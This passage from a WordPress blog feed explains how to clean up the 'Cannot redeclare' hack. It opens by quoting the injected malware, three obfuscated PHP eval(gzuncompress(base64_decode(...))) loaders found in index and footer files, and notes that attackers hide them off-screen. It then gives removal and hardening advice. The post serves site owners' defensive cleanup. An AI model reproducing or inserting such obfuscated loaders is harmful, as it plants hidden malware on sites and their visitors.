<pre><code>&lt;?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?&gt;</code></pre>
<p>Disgusting stuff, and if you don&#8217;t see it at first, that doesn&#8217;t mean it&#8217;s not there. The scumbags who deal in this filth are clever enough to <strong>indent the code</strong> so it appears off-screen (via horizontal scrollbar). It&#8217;s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-03.gif" alt="[ screenshot of wrapped code ]" /></p>
<p>Notice it there in the last line.. it&#8217;s like that for all teh files. And again, if you don&#8217;t see anything then look for it off-screen. Once you find it, <strong>delete it</strong>. Then repeat for all index and footer files on your server. Once you&#8217;ve done that the &#8220;Cannot redeclare&#8221; hack should be gone, but you should take steps to prevent future attacks..</p>
<h3>Securing your WordPress site</h3>
<p>For public websites, <em>there is no such thing as perfect security</em>. There are many ways to <em>improve</em> security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it&#8217;s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.</p>
<p>Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on <a href="http://www.lynda.com/tutorial/78547">devloping secure WordPress sites</a>. Even more recently is Daniel Pataki&#8217;s Smashing WP article on <a href="http://wp.smashingmagazine.com/2011/11/10/securing-your-wordpress-website/">securing your WordPress website</a>. And if you want to hear it direct from the horse&#8217;s mouth, check out the good &#8216;ol fashioned WP Codex for info on <a href="http://codex.wordpress.org/Hardening_WordPress">hardening WordPress</a>.</p>
<h3>More help..</h3>
<p>There&#8217;s currently not a lot of info on the &#8220;Cannot redeclare&#8221; hack, but this <a href="http://wordpress.org/support/topic/fatal-error-cannot-redeclare-_765258526">WP Forum thread</a> provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>

	</item>
	
</channel>
</rss>
